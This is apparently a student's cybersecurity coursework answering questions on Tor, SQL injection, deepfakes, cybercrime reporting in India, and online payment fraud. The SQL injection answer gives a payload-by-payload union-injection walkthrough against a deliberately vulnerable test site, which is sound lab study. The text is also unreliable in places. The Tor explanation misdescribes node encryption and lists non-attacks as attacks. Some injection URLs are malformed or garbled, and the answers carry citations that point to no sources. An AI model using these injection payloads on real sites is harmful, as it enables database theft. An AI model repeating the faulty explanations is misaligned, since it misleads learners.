Assignment-13

Lohendra P
2406CYS124

Q1: What is ToR and discuss attacks that are possible on it. Install ToR on your system andcompare and contrast it with a regular search engine like Google.

Ans:

Tor (The Onion Router) is a powerful tool designed to enhance online privacy and anonymity. Let'sdelve into its features, vulnerabilities, and compare it with Google Chrome:

1. **What is Tor?**
   - **Tor** is an open-source network that masks online traffic by directing it through a series of encrypted nodes (like layers of an onion). This process makes it challengingto track and identify users.
   - The **Tor Browser**, built on the Tor network, allows users to browse the internet witha high degree of privacy.
   - **Purpose**: Tor is used to avoid surveillance, protect identities, and access services thatregular browsers cannot reach.
2. **How Tor Works**:
   - **Onion Routing**: Tor directs and encrypts traffic through three layers of nodes:
     - **Entry nodes**: First layer of encryption, connecting to the Tor network.
     - **Middle nodes**: Fully encrypt web traffic for anonymity.
     - **Exit nodes**: Further encrypt data before reaching the final server.
   - **Anonymity**: Tor conceals IP addresses and protects user data.
3. **Attacks on Tor**:
   - **De-anonymizing Attacks**: Over the years, various attacks have targeted Tor:
     - **Ethical Vulnerabilities**: Tor's association with the dark web led to a badreputation and lawyer-based attacks.
     - **Financial Insecurities**: Tor relies on volunteers, which poses challenges forits continuity.
     - **Criminal Behavior**: Some misuse Tor for illicit activities.
4. **Tor vs. Google Chrome**:
   - **Tor Browser**:
     - **Privacy**: Offers a high level of privacy due to onion routing and encryption.
     - **Purpose**: Primarily for anonymous browsing and accessing .onion sites.
     - **Dark Web**: Supports .onion domains.
     - **Safety**: Follow instructions carefully for optimal safety.
   - **Google Chrome**:
     - **Speed**: Known for speed and simplicity.
     - **Syncing**: Syncs data across devices.
     - **Developer Tools**: Excellent built-in developer tools.
     - **Extensions**: Abundant extension support.
     - **Updates**: Regular automatic updates.

Q2: Use the web site http://testphp.vulnweb.com/ for the following. Perform sql injection on it and retrieve the user table and its contents.

Let's explore **SQL injection** on the website **http://testphp.vulnweb.com/**. SQL injection is a vulnerability that allows an attacker to manipulate an application's database by injecting maliciousSQL queries. Here's a step-by-step guide on how to perform SQL injection on this site:

1. **Identify the Target URL**:
   - The targeted URL on this website is:

http://testphp.vulnweb.com/artists.php?artist=1.

- We’ll focus on the artistparameter.

2. **Error-Based Technique**:
    - Add an apostrophe (') at the end of the input to break the query:
        - http://testphp.vulnweb.com/artists.php?artist=1’
    - If you see an error message, it means the site is vulnerable to SQL injection.
3. **Order By Keyword**:
    - Use the ORDER BYkeyword to sort records:
        - http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 1
        - http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 2
        - http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 3
    - Observe the error at ORDER BY 4, indicating that there are only three records.
4. **Union-Based Injection**:
    - Use the UNION SELECTstatement to retrieve data from a different table:
        - http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,3
    - This shows results for only one table.
5. **Extract Database Information**:
    - Fetch the name of the database:
        - http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT1,database(),3,3)
        - The database name is **acuart**.
6. **Retrieve User Table Name**:
    - Fetch the table names inside the database:
        - http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1%20limit%200,1)
        - The first table name is **artists**.
        - http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1%20limit%201,1)
        - The second table name is **carts**.

Q3: What are Deepfakes? Discuss how they are being used for Impersonation attacks. Explain how they can be countered.

Ans: Deepfakes are a form of synthetic media created using **deep learning** techniques, particularly**generative adversarial networks (GANs)**. These manipulated videos, images, or audio clips convincingly replace the original content with fabricated material. Let’s explore their implications, use in impersonation attacks, and countermeasures:

1. **Understanding Deepfakes**:

   - **Definition**: Deepfakes leverage AI and machine learning to create realistic forgeriesby analyzing existing media and generating new content.
   - **Techniques**: Deep neural networks synthesize audio and video, making it hard todistinguish from genuine material.
2. **Implications for Cybersecurity**:
   - **Misinformation and Fake News**:
     - Deepfakes can spread false narratives, eroding trust in media and publicfigures.
     - Influence public opinion, damage reputations, and impact elections.
   - **Fraud and Social Engineering**:
     - Cybercriminals impersonate individuals using manipulated audio or video.
     - Deceive victims into revealing sensitive information or performing maliciousactions.
   - **Reputation and Brand Damage**:
     - Deepfakes tarnish reputations by creating authentic-looking fabricatedcontent.
     - Result in severe financial losses.
3. **Detecting and Mitigating Deepfakes**:
   - **Advanced Detection Algorithms**:
     - Develop robust algorithms to identify deepfakes.
     - Techniques include forensic analysis, watermarking, and deepfake detectionmodels trained on large datasets.
   - **Media Authentication and Verification**:
     - Implement systems to verify content authenticity.
     - Use digital signatures, blockchain, and decentralized networks to verifysource and integrity.
   - **Education and Awareness**:
     - Educate the public, media professionals, and decision-makers aboutdeepfakes.
     - Foster discernment in media consumption.
   - **Collaboration and Regulation**:
     - Collaborate among technology companies, researchers, policymakers, andlaw enforcement.
     - Explore actionable solutions to the global deepfake problem.

Q4: Discuss about different types of Cyber crimes. Explain how a person can report to theconcerned officials and take protection.

Ans: Let’s explore different types of **cybercrimes**, how to report them, and ways to protect yourself:

1. **Types of Cybercrimes**:
   - **Child Pornography (CSAM)**: Involves sexual images of exploited children[1].
   - **Cyber Bullying**: Harassment using electronic devices[1].
   - **Cyber Stalking**: Persistent online harassment[1].
   - **Cyber Grooming**: Online manipulation to exploit victims[1].
   - **Online Job Fraud**: Scams related to fake job offers[1].
   - **Phishing**: Deceptive emails or messages to steal personal information[1].
   - **Ransomware**: Malicious software that encrypts data and demands payment[1].
   - **Impersonation and Identity Theft**: Pretending to be someone else online[1].
   - **Spamming**: Unsolicited bulk messages or emails[1].

- **Denial of Service (DoS) Attacks**: Overloading a website or network to disruptservices[1].
- **Data Breach**: Unauthorized access to sensitive information[1].
- **Website Defacement**: Altering a website's appearance or content[1].
- **Cryptojacking**: Unauthorized use of someone's computer to mine cryptocurrency[1].
- **Espionage**: Stealing confidential information for political or economic gain[1].

2. **How to Report Cybercrimes in India**:
    - **National Cyber Crime Reporting Portal**:
        - Visit cybercrime.gov.in.
        - File a complaint online, especially for crimes against women and children.
        - Provide accurate details for prompt action.
    - **Emergency Numbers**:
        - Dial **112** for national police helpline.
        - Dial **181** for the national women helpline.
        - Dial **1930** for cybercrime helpline.
    - **Local Police Stations**:
        - In case of an emergency or non-cyber crimes, contact your local police.
3. **Protection Measures**:
    - **Stay Informed**: Learn about common cyber threats.
    - **Strong Passwords**: Use unique and complex passwords.
    - **Update Software**: Keep your devices and applications updated.
    - **Beware of Phishing**: Verify emails and links before clicking.
    - **Secure Wi-Fi**: Use strong encryption and change default router passwords.
    - **Backup Data**: Regularly back up important files.
    - **Use Security Software**: Install antivirus and anti-malware tools.
    - **Educate Family Members**: Teach safe online practices.

Q5: Discuss about various online payment frauds and how can they be prevented?

Ans: Certainly! Let's delve into various **online payment frauds** and effective prevention measures:

1. **Types of Online Payment Frauds**:
    - **Phishing Attacks**:
        - Fraudsters send deceptive emails or messages, tricking users intorevealing sensitive information.
        - **Prevention**: Be cautious when clicking links or opening attachmentsfrom unknown sources. Use antivirus software to protect against phishing attacks[1].
    - **Ransomware**:
        - Malicious software encrypts data and demands payment fordecryption.
        - **Prevention**: Regularly back up important files and keep softwareupdated.
    - **Card Skimming**:
        - Criminals install devices on ATMs or point-of-sale terminals to steal card information.
        - **Prevention**: Inspect card readers for any irregularities and use secureATMs.
    - **Identity Theft**:

    - Fraudsters steal personal information to make unauthorizedtransactions.
    - **Prevention**: Use strong passwords, enable two-factor authentication,and monitor accounts regularly.
  - **Chargeback Fraud**:
    - Customers falsely claim a transaction was unauthorized to get a refund.
    - **Prevention**: Maintain clear records of transactions and communicatewith customers.
  - **Friendly Fraud**:
    - Legitimate customers dispute charges they made intentionally.
    - **Prevention**: Improve communication with customers and provide clearbilling descriptors.
  - **Account Takeover**:
    - Hackers gain unauthorized access to user accounts.
    - **Prevention**: Use strong, unique passwords and enable multi-factorauthentication.
  - **Man-in-the-Middle Attacks**:
    - Interceptors manipulate communication between parties to stealpayment details.
    - **Prevention**: Use secure connections (HTTPS) and avoid public Wi-Fifor sensitive transactions.

2. **Effective Prevention Measures**:
   - **Secure Payment Methods**:
     - Choose reputable payment gateways and secure platforms.
   - **Authenticate Payees and Payers**:
     - Verify recipient details before making payments.
   - **Limit Access to Account Information**:
     - Share minimal personal information online.
   - **Educate Employees**:
     - Train staff to recognize phishing and business email compromise(BEC) scams.
   - **Stay Informed**:
     - Keep up-to-date with the latest fraud trends and prevention techniques.
   - **Use Antivirus Software**:
     - Protect against malware and phishing attacks.
   - **Monitor Transactions**:
     - Regularly review bank statements and credit card bills.
   - **Report Suspicious Activity**:
     - Notify your bank or payment provider immediately if you suspect fraud.